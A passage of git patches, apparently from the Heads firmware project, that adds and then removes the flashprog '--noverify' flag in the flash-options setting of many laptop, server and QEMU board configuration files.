--progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" #Include bits related to ivybridge ME blob download/neutering down to BUP+ROMP BOARD_TARGETS := xx30_me_blobs diff --git a/boards/x230-hotp-maximized_usb-kb/x230-hotp-maximized_usb-kb.config b/boards/x230-hotp-maximized_usb-kb/x230-hotp-maximized_usb-kb.config index 2139c5a59..ca4f8c66c 100644 --- a/boards/x230-hotp-maximized_usb-kb/x230-hotp-maximized_usb-kb.config +++ b/boards/x230-hotp-maximized_usb-kb/x230-hotp-maximized_usb-kb.config @@ -74,7 +74,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad X230-hotp-maximized_usb-kb" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" #Include bits related to ivybridge ME blob download/neutering down to BUP+ROMP BOARD_TARGETS := xx30_me_blobs diff --git a/boards/x230-legacy-flash/x230-legacy-flash.config b/boards/x230-legacy-flash/x230-legacy-flash.config index 1ffaec0d9..0d53ed55c 100644 --- a/boards/x230-legacy-flash/x230-legacy-flash.config +++ b/boards/x230-legacy-flash/x230-legacy-flash.config @@ -29,7 +29,7 @@ CONFIG_LINUX_USB=y export CONFIG_BOOTSCRIPT=/bin/xx30-flash.init export CONFIG_BOARD_NAME="ThinkPad X230-legacy-flash" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --ifd --image bios" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify --ifd --image bios" CONFIG_LEGACY_FLASH=y diff --git a/boards/x230-legacy/x230-legacy.config b/boards/x230-legacy/x230-legacy.config index 972b7556a..581877020 100644 --- a/boards/x230-legacy/x230-legacy.config +++ b/boards/x230-legacy/x230-legacy.config @@ -55,7 +55,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad X230-legacy" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --ifd --image bios" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify --ifd --image bios" # This board has two SPI flash chips, an 8 MB that holds the IFD, # the ME image and part of the coreboot image, and a 4 MB one that diff --git a/boards/x230-maximized-fhd_edp/x230-maximized-fhd_edp.config b/boards/x230-maximized-fhd_edp/x230-maximized-fhd_edp.config index f7f930bcc..cce09eada 100644 --- a/boards/x230-maximized-fhd_edp/x230-maximized-fhd_edp.config +++ b/boards/x230-maximized-fhd_edp/x230-maximized-fhd_edp.config @@ -77,7 +77,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad X230-maximized-eDP" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" #Include bits related to ivybridge ME blob download/neutering down to BUP+ROMP BOARD_TARGETS := xx30_me_blobs diff --git a/boards/x230-maximized/x230-maximized.config b/boards/x230-maximized/x230-maximized.config index 86c2364fd..736712b7f 100644 --- a/boards/x230-maximized/x230-maximized.config +++ b/boards/x230-maximized/x230-maximized.config @@ -68,7 +68,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad X230-maximized" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" #Include bits related to ivybridge ME blob download/neutering down to BUP+ROMP BOARD_TARGETS := xx30_me_blobs diff --git a/boards/z220-cmt-maximized/z220-cmt-maximized.config b/boards/z220-cmt-maximized/z220-cmt-maximized.config index c07749052..af9fd51f3 100644 --- a/boards/z220-cmt-maximized/z220-cmt-maximized.config +++ b/boards/z220-cmt-maximized/z220-cmt-maximized.config @@ -60,7 +60,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Hewlett-Packard Z220 Convertible Minitower" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" # Make the Coreboot build depend on the following 3rd party blobs: $(build)/coreboot-$(CONFIG_COREBOOT_VERSION)/$(BOARD)/.build: \ diff --git a/unmaintained_boards/UNMAINTAINED_p8z77-m_pro-tpm1-maximized/UNMAINTAINED_p8z77-m_pro-tpm1-maximized.config b/unmaintained_boards/UNMAINTAINED_p8z77-m_pro-tpm1-maximized/UNMAINTAINED_p8z77-m_pro-tpm1-maximized.config index 57dc8cbc2..0971e2304 100644 --- a/unmaintained_boards/UNMAINTAINED_p8z77-m_pro-tpm1-maximized/UNMAINTAINED_p8z77-m_pro-tpm1-maximized.config +++ b/unmaintained_boards/UNMAINTAINED_p8z77-m_pro-tpm1-maximized/UNMAINTAINED_p8z77-m_pro-tpm1-maximized.config @@ -74,7 +74,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="P8Z77-M PRO" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" #Set this option to zero out the VSCC table https://github.com/osresearch/heads/pull/1358#discussion_r1153251399 export CONFIG_ZERO_IFD_VSCC=y diff --git a/unmaintained_boards/UNMAINTAINED_t420/UNMAINTAINED_t420.config b/unmaintained_boards/UNMAINTAINED_t420/UNMAINTAINED_t420.config index a766d2f98..f453b3b9e 100644 --- a/unmaintained_boards/UNMAINTAINED_t420/UNMAINTAINED_t420.config +++ b/unmaintained_boards/UNMAINTAINED_t420/UNMAINTAINED_t420.config @@ -33,4 +33,4 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="ThinkPad T420" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --ifd --image bios" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify --ifd --image bios" diff --git a/unmaintained_boards/UNMAINTAINED_t430-hotp-legacy/UNMAINTAINED_t430-hotp-legacy.config b/unmaintained_boards/UNMAINTAINED_t430-hotp-legacy/UNMAINTAINED_t430-hotp-legacy.config index a1a88c51e..8a07ab852 100644 --- a/unmaintained_boards/UNMAINTAINED_t430-hotp-legacy/UNMAINTAINED_t430-hotp-legacy.config +++ b/unmaintained_boards/UNMAINTAINED_t430-hotp-legacy/UNMAINTAINED_t430-hotp-legacy.config @@ -62,7 +62,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad T430-hotp-legacy" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --ifd --image bios" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify --ifd --image bios" # This board has two SPI flash chips, an 8 MB that holds the IFD, # the ME image and part of the coreboot image, and a 4 MB one that diff --git a/unmaintained_boards/UNMAINTAINED_t430-legacy-flash/UNMAINTAINED_t430-legacy-flash.config b/unmaintained_boards/UNMAINTAINED_t430-legacy-flash/UNMAINTAINED_t430-legacy-flash.config index ec87605ab..02ddd011f 100644 --- a/unmaintained_boards/UNMAINTAINED_t430-legacy-flash/UNMAINTAINED_t430-legacy-flash.config +++ b/unmaintained_boards/UNMAINTAINED_t430-legacy-flash/UNMAINTAINED_t430-legacy-flash.config @@ -28,7 +28,7 @@ CONFIG_LINUX_USB=y export CONFIG_BOOTSCRIPT=/bin/xx30-flash.init export CONFIG_BOARD_NAME="ThinkPad T430-legacy-flash" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --ifd --image bios" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify --ifd --image bios" CONFIG_LEGACY_FLASH=y diff --git a/unmaintained_boards/UNMAINTAINED_t430-legacy/UNMAINTAINED_t430-legacy.config b/unmaintained_boards/UNMAINTAINED_t430-legacy/UNMAINTAINED_t430-legacy.config index f4164e0b5..5daea5d99 100644 --- a/unmaintained_boards/UNMAINTAINED_t430-legacy/UNMAINTAINED_t430-legacy.config +++ b/unmaintained_boards/UNMAINTAINED_t430-legacy/UNMAINTAINED_t430-legacy.config @@ -56,7 +56,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad T430-legacy" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" --ifd --image bios" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify --ifd --image bios" # This board has two SPI flash chips, an 8 MB that holds the IFD, # the ME image and part of the coreboot image, and a 4 MB one that diff --git a/unmaintained_boards/UNMAINTAINED_t520-hotp-maximized/UNMAINTAINED_t520-hotp-maximized.config b/unmaintained_boards/UNMAINTAINED_t520-hotp-maximized/UNMAINTAINED_t520-hotp-maximized.config index eddf2f102..37ef74045 100644 --- a/unmaintained_boards/UNMAINTAINED_t520-hotp-maximized/UNMAINTAINED_t520-hotp-maximized.config +++ b/unmaintained_boards/UNMAINTAINED_t520-hotp-maximized/UNMAINTAINED_t520-hotp-maximized.config @@ -62,7 +62,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="ThinkPad T520-hotp-maximized" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" #Include bits related to sandybridge ME blob download/neutering down to BUP BOARD_TARGETS := xx20_me_blobs diff --git a/unmaintained_boards/UNMAINTAINED_t520-maximized/UNMAINTAINED_t520-maximized.config b/unmaintained_boards/UNMAINTAINED_t520-maximized/UNMAINTAINED_t520-maximized.config index baf9e076b..127fbb2c3 100644 --- a/unmaintained_boards/UNMAINTAINED_t520-maximized/UNMAINTAINED_t520-maximized.config +++ b/unmaintained_boards/UNMAINTAINED_t520-maximized/UNMAINTAINED_t520-maximized.config @@ -61,7 +61,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="ThinkPad T520-maximized" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" #Include bits related to sandybridge ME blob download/neutering down to BUP BOARD_TARGETS := xx20_me_blobs diff --git a/unmaintained_boards/UNMAINTAINED_t530-dgpu-hotp-maximized/UNMAINTAINED_t530-dgpu-hotp-maximized.config b/unmaintained_boards/UNMAINTAINED_t530-dgpu-hotp-maximized/UNMAINTAINED_t530-dgpu-hotp-maximized.config index 55967765a..86f7a6b54 100644 --- a/unmaintained_boards/UNMAINTAINED_t530-dgpu-hotp-maximized/UNMAINTAINED_t530-dgpu-hotp-maximized.config +++ b/unmaintained_boards/UNMAINTAINED_t530-dgpu-hotp-maximized/UNMAINTAINED_t530-dgpu-hotp-maximized.config @@ -66,7 +66,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad T530-dgpu-hotp-maximized" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" # Make the Coreboot build depend on the following 3rd party blobs: $(build)/coreboot-$(CONFIG_COREBOOT_VERSION)/$(BOARD)/.build: \ diff --git a/unmaintained_boards/UNMAINTAINED_t530-dgpu-maximized/UNMAINTAINED_t530-dgpu-maximized.config b/unmaintained_boards/UNMAINTAINED_t530-dgpu-maximized/UNMAINTAINED_t530-dgpu-maximized.config index 64da9a8a5..86a986b99 100644 --- a/unmaintained_boards/UNMAINTAINED_t530-dgpu-maximized/UNMAINTAINED_t530-dgpu-maximized.config +++ b/unmaintained_boards/UNMAINTAINED_t530-dgpu-maximized/UNMAINTAINED_t530-dgpu-maximized.config @@ -65,7 +65,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad T530-dgpu-maximized" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" # Make the Coreboot build depend on the following 3rd party blobs: $(build)/coreboot-$(CONFIG_COREBOOT_VERSION)/$(BOARD)/.build: \ diff --git a/unmaintained_boards/UNMAINTAINED_w530-dgpu-K1000m-hotp-maximized/UNMAINTAINED_w530-dgpu-K1000m-hotp-maximized.config b/unmaintained_boards/UNMAINTAINED_w530-dgpu-K1000m-hotp-maximized/UNMAINTAINED_w530-dgpu-K1000m-hotp-maximized.config index 1b1a28e28..d3b8fc345 100644 --- a/unmaintained_boards/UNMAINTAINED_w530-dgpu-K1000m-hotp-maximized/UNMAINTAINED_w530-dgpu-K1000m-hotp-maximized.config +++ b/unmaintained_boards/UNMAINTAINED_w530-dgpu-K1000m-hotp-maximized/UNMAINTAINED_w530-dgpu-K1000m-hotp-maximized.config @@ -66,7 +66,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad W530-dgpu-K1000m-hotp-maximized" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" # xx30-*-maximized boards require of you initially call one of the # following to have gbe.bin ifd.bin and me.bin diff --git a/unmaintained_boards/UNMAINTAINED_w530-dgpu-K1000m-maximized/UNMAINTAINED_w530-dgpu-K1000m-maximized.config b/unmaintained_boards/UNMAINTAINED_w530-dgpu-K1000m-maximized/UNMAINTAINED_w530-dgpu-K1000m-maximized.config index dba595406..17e6670c0 100644 --- a/unmaintained_boards/UNMAINTAINED_w530-dgpu-K1000m-maximized/UNMAINTAINED_w530-dgpu-K1000m-maximized.config +++ b/unmaintained_boards/UNMAINTAINED_w530-dgpu-K1000m-maximized/UNMAINTAINED_w530-dgpu-K1000m-maximized.config @@ -65,7 +65,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad W530-dgpu-K1000m-maximized" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" # xx30-*-maximized boards require of you initially call one of the # following to have gbe.bin ifd.bin and me.bin diff --git a/unmaintained_boards/UNMAINTAINED_w530-dgpu-K2000m-hotp-maximized/UNMAINTAINED_w530-dgpu-K2000m-hotp-maximized.config b/unmaintained_boards/UNMAINTAINED_w530-dgpu-K2000m-hotp-maximized/UNMAINTAINED_w530-dgpu-K2000m-hotp-maximized.config index 702258260..fb90d6bed 100644 --- a/unmaintained_boards/UNMAINTAINED_w530-dgpu-K2000m-hotp-maximized/UNMAINTAINED_w530-dgpu-K2000m-hotp-maximized.config +++ b/unmaintained_boards/UNMAINTAINED_w530-dgpu-K2000m-hotp-maximized/UNMAINTAINED_w530-dgpu-K2000m-hotp-maximized.config @@ -66,7 +66,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad W530-dgpu-K2000m-hotp-maximized" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" # xx30-*-maximized boards require of you initially call one of the # following to have gbe.bin ifd.bin and me.bin diff --git a/unmaintained_boards/UNMAINTAINED_w530-dgpu-K2000m-maximized/UNMAINTAINED_w530-dgpu-K2000m-maximized.config b/unmaintained_boards/UNMAINTAINED_w530-dgpu-K2000m-maximized/UNMAINTAINED_w530-dgpu-K2000m-maximized.config index feb1532b6..299af9a72 100644 --- a/unmaintained_boards/UNMAINTAINED_w530-dgpu-K2000m-maximized/UNMAINTAINED_w530-dgpu-K2000m-maximized.config +++ b/unmaintained_boards/UNMAINTAINED_w530-dgpu-K2000m-maximized/UNMAINTAINED_w530-dgpu-K2000m-maximized.config @@ -65,7 +65,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad W530-dgpu-K2000m-maximized" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" # xx30-*-maximized boards require of you initially call one of the # following to have gbe.bin ifd.bin and me.bin diff --git a/unmaintained_boards/UNMAINTAINED_x220/UNMAINTAINED_x220.config b/unmaintained_boards/UNMAINTAINED_x220/UNMAINTAINED_x220.config index c2d114299..fad34900b 100644 --- a/unmaintained_boards/UNMAINTAINED_x220/UNMAINTAINED_x220.config +++ b/unmaintained_boards/UNMAINTAINED_x220/UNMAINTAINED_x220.config @@ -56,4 +56,4 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="ThinkPad X220" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" --ifd --image bios" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify --ifd --image bios" From b9495130cfc18d1cc945a7588da59db2f29da3c8 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Sun, 1 Sep 2024 18:38:01 -0400 Subject: [PATCH 271/619] boards FLASH_OPTIONS: remove --noverify/--noverify-all for now Signed-off-by: Thierry Laurion --- .../UNMAINTAINED_kgpe-d16_server-whiptail.config | 2 +- .../UNMAINTAINED_kgpe-d16_server.config | 2 +- .../UNMAINTAINED_kgpe-d16_workstation-usb_keyboard.config | 2 +- .../UNMAINTAINED_kgpe-d16_workstation.config | 2 +- boards/librem_11/librem_11.config | 2 +- boards/librem_13v2/librem_13v2.config | 2 +- boards/librem_13v4/librem_13v4.config | 2 +- boards/librem_14/librem_14.config | 2 +- boards/librem_15v3/librem_15v3.config | 2 +- boards/librem_15v4/librem_15v4.config | 2 +- boards/librem_l1um/librem_l1um.config | 2 +- boards/librem_l1um_v2/librem_l1um_v2.config | 2 +- boards/librem_mini/librem_mini.config | 2 +- boards/librem_mini_v2/librem_mini_v2.config | 2 +- boards/nitropad-ns50/nitropad-ns50.config | 2 +- boards/nitropad-nv41/nitropad-nv41.config | 2 +- .../qemu-coreboot-fbwhiptail-tpm1-hotp.config | 2 +- .../qemu-coreboot-fbwhiptail-tpm1.config | 2 +- .../qemu-coreboot-fbwhiptail-tpm2-hotp.config | 2 +- .../qemu-coreboot-fbwhiptail-tpm2.config | 2 +- .../qemu-coreboot-whiptail-tpm1-hotp.config | 2 +- .../qemu-coreboot-whiptail-tpm1.config | 2 +- .../qemu-coreboot-whiptail-tpm2-hotp.config | 2 +- .../qemu-coreboot-whiptail-tpm2.config | 2 +- boards/t420-hotp-maximized/t420-hotp-maximized.config | 2 +- boards/t420-maximized/t420-maximized.config | 2 +- boards/t430-hotp-maximized/t430-hotp-maximized.config | 2 +- boards/t430-maximized/t430-maximized.config | 2 +- boards/t440p-maximized/t440p-maximized.config | 2 +- boards/t530-hotp-maximized/t530-hotp-maximized.config | 2 +- boards/t530-maximized/t530-maximized.config | 2 +- boards/w530-hotp-maximized/w530-hotp-maximized.config | 2 +- boards/w530-maximized/w530-maximized.config | 2 +- boards/w541-maximized/w541-maximized.config | 2 +- boards/x220-hotp-maximized/x220-hotp-maximized.config | 2 +- boards/x220-maximized/x220-maximized.config | 2 +- boards/x230-hotp-legacy/x230-hotp-legacy.config | 2 +- .../x230-hotp-maximized-fhd_edp.config | 2 +- boards/x230-hotp-maximized/x230-hotp-maximized.config | 2 +- .../x230-hotp-maximized_usb-kb.config | 2 +- boards/x230-legacy-flash/x230-legacy-flash.config | 2 +- boards/x230-legacy/x230-legacy.config | 2 +- boards/x230-maximized-fhd_edp/x230-maximized-fhd_edp.config | 2 +- boards/x230-maximized/x230-maximized.config | 2 +- boards/z220-cmt-maximized/z220-cmt-maximized.config | 2 +- .../UNMAINTAINED_p8z77-m_pro-tpm1-maximized.config | 2 +- unmaintained_boards/UNMAINTAINED_t420/UNMAINTAINED_t420.config | 2 +- .../UNMAINTAINED_t430-hotp-legacy.config | 2 +- .../UNMAINTAINED_t430-legacy-flash.config | 2 +- .../UNMAINTAINED_t430-legacy/UNMAINTAINED_t430-legacy.config | 2 +- .../UNMAINTAINED_t520-hotp-maximized.config | 2 +- .../UNMAINTAINED_t520-maximized.config | 2 +- .../UNMAINTAINED_t530-dgpu-hotp-maximized.config | 2 +- .../UNMAINTAINED_t530-dgpu-maximized.config | 2 +- .../UNMAINTAINED_w530-dgpu-K1000m-hotp-maximized.config | 2 +- .../UNMAINTAINED_w530-dgpu-K1000m-maximized.config | 2 +- .../UNMAINTAINED_w530-dgpu-K2000m-hotp-maximized.config | 2 +- .../UNMAINTAINED_w530-dgpu-K2000m-maximized.config | 2 +- unmaintained_boards/UNMAINTAINED_x220/UNMAINTAINED_x220.config | 2 +- 59 files changed, 59 insertions(+), 59 deletions(-) diff --git a/boards/UNMAINTAINED_kgpe-d16_server-whiptail/UNMAINTAINED_kgpe-d16_server-whiptail.config b/boards/UNMAINTAINED_kgpe-d16_server-whiptail/UNMAINTAINED_kgpe-d16_server-whiptail.config index 19d10f72f..4a55e94f8 100644 --- a/boards/UNMAINTAINED_kgpe-d16_server-whiptail/UNMAINTAINED_kgpe-d16_server-whiptail.config +++ b/boards/UNMAINTAINED_kgpe-d16_server-whiptail/UNMAINTAINED_kgpe-d16_server-whiptail.config @@ -72,5 +72,5 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_REMOVE="plymouth.ignore-serial-consoles" export CONFIG_BOARD_NAME="KGPE-D16 Server-whiptail" export CONFIG_USB_BOOT_DEV="/dev/sdb1" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" #export CONFIG_BOOT_STATIC_IP=192.168.1.2 diff --git a/boards/UNMAINTAINED_kgpe-d16_server/UNMAINTAINED_kgpe-d16_server.config b/boards/UNMAINTAINED_kgpe-d16_server/UNMAINTAINED_kgpe-d16_server.config index 2fafc71f5..47cefb888 100644 --- a/boards/UNMAINTAINED_kgpe-d16_server/UNMAINTAINED_kgpe-d16_server.config +++ b/boards/UNMAINTAINED_kgpe-d16_server/UNMAINTAINED_kgpe-d16_server.config @@ -59,5 +59,5 @@ export CONFIG_BOOT_KERNEL_REMOVE="plymouth.ignore-serial-consoles" export CONFIG_BOARD_NAME="KGPE-D16 Server" export CONFIG_USB_BOOT_DEV="/dev/sdb1" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" #export CONFIG_BOOT_STATIC_IP=192.168.1.2 diff --git a/boards/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard.config b/boards/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard.config index 37cd77aa8..a82ebe36f 100644 --- a/boards/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard.config +++ b/boards/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard.config @@ -67,4 +67,4 @@ export CONFIG_BOOT_REQ_ROLLBACK=n #export CONFIG_BOOT_KERNEL_REMOVE="plymouth.ignore-serial-consoles" export CONFIG_BOARD_NAME="KGPE-D16 Workstation-USB-Keyboard" export CONFIG_USB_BOOT_DEV="/dev/sdb1" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" diff --git a/boards/UNMAINTAINED_kgpe-d16_workstation/UNMAINTAINED_kgpe-d16_workstation.config b/boards/UNMAINTAINED_kgpe-d16_workstation/UNMAINTAINED_kgpe-d16_workstation.config index cf8680a36..8972c9baa 100644 --- a/boards/UNMAINTAINED_kgpe-d16_workstation/UNMAINTAINED_kgpe-d16_workstation.config +++ b/boards/UNMAINTAINED_kgpe-d16_workstation/UNMAINTAINED_kgpe-d16_workstation.config @@ -68,4 +68,4 @@ export CONFIG_BOOT_REQ_ROLLBACK=n #export CONFIG_BOOT_KERNEL_REMOVE="plymouth.ignore-serial-consoles" export CONFIG_BOARD_NAME="KGPE-D16 Workstation" export CONFIG_USB_BOOT_DEV="/dev/sdb1" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" diff --git a/boards/librem_11/librem_11.config b/boards/librem_11/librem_11.config index 06544a3f0..0c26c8f5c 100644 --- a/boards/librem_11/librem_11.config +++ b/boards/librem_11/librem_11.config @@ -36,7 +36,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="" export CONFIG_BOARD_NAME="Librem 11" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" export CONFIG_USB_KEYBOARD_REQUIRED=y export CONFIG_AUTO_BOOT_TIMEOUT=5 export CONFIG_ROOT_DEV="/dev/nvme0n1p2" diff --git a/boards/librem_13v2/librem_13v2.config b/boards/librem_13v2/librem_13v2.config index 483dad407..6d1e352d9 100644 --- a/boards/librem_13v2/librem_13v2.config +++ b/boards/librem_13v2/librem_13v2.config @@ -36,7 +36,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="" export CONFIG_BOARD_NAME="Librem 13 v2/v3" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" export CONFIG_AUTO_BOOT_TIMEOUT=5 export CONFIG_ROOT_DEV="/dev/nvme0n1p2" export CONFIG_ROOT_DIRLIST="bin boot lib sbin usr" diff --git a/boards/librem_13v4/librem_13v4.config b/boards/librem_13v4/librem_13v4.config index f965892f1..b4d3a93b5 100644 --- a/boards/librem_13v4/librem_13v4.config +++ b/boards/librem_13v4/librem_13v4.config @@ -36,7 +36,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="" export CONFIG_BOARD_NAME="Librem 13 v4" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" export CONFIG_AUTO_BOOT_TIMEOUT=5 export CONFIG_ROOT_DEV="/dev/nvme0n1p2" export CONFIG_ROOT_DIRLIST="bin boot lib sbin usr" diff --git a/boards/librem_14/librem_14.config b/boards/librem_14/librem_14.config index 58d6e00fb..2596ee0b5 100644 --- a/boards/librem_14/librem_14.config +++ b/boards/librem_14/librem_14.config @@ -35,7 +35,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="" export CONFIG_BOARD_NAME="Librem 14" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" +export 